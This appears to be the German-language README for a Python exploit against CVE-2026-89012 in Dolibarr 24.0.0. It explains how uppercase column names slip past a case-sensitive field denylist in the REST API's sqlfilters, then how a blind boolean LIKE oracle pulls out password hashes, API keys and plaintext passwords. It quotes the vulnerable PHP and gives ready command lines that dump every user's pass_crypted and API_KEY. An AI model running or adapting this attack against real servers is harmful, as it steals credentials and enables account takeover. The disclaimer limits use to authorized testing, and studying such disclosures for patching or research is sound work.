
Python-Exploit für CVE-2026-89012, eine Umgehung der SQL-Filter-Denylist in Dolibarr, die ein Blind-Boolean-Oracle verwendet, um Passwort-Hashes und API-Schlüssel über die REST-API zu extrahieren.
Exploit für CVE-2026-89012: Die Denylist der verbotenen Felder in
forgeSQLFromUniversalSearchCriteria() (eingeführt mit dem Fix für CVE-2026-71510)
verwendet ein case-sensitives in_array(), während der Operanden-Zeichensatz A-Z erlaubt.
Da die SQL-Spaltenauflösung case-insensitiv ist, kann ein authentifizierter API-Benutzer
t.PASS_CRYPTED statt t.pass_crypted abfragen und die Denylist umgehen.
LIKE-Prädikate mit Präfix verwandeln sqlfilters in ein Blind-Boolean-Orakel, das
Passwort-Hashes Zeichen für Zeichen rekonstruiert.
Record: https://www.cve.org/CVERecord?id=CVE-2026-89012
| Betroffen | Dolibarr 24.0.0 |
| Behoben | 24.0.1 |
| Voraussetzungen | gültiges API-Token mit users->lire |
| Auswirkung | Offenlegung von pass_crypted, api_key, pass, pass_temp, openid |
// htdocs/core/lib/functions.lib.php, 24.0.0 line 16306
$operandwithoutprefix = preg_replace('/^[a-z0-9_]+\./i', '', $operand);
if (in_array($operandwithoutprefix, $newforbiddenfields)) { // case-sensitive
return '1=1';
}
# detection (safe, 3 requests)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY check
# list readable users
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY users
# extract pass_crypted for every user (threaded oracle)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump
# single target / other protected column
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --login admin
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --column API_KEY --charset hex
Nur Standardbibliothek (Python 3.8+). Unterstützt --proxy, --insecure, --timeout.
Hinweis: Unter einer case-insensitiven Collation (dem Standard) wird der bcrypt-Wert
exakt bis auf die Groß-/Kleinschreibung der Zeichen rekonstruiert; Klartext-Spalten
(llx_adherent.pass via /api/index.php/members, pass_temp) werden byte-genau rekonstruiert.

Nur für autorisierte Tests und Forschung. Nur gegen Systeme verwenden, die Sie besitzen oder für die Sie ausdrückliche Testgenehmigung haben.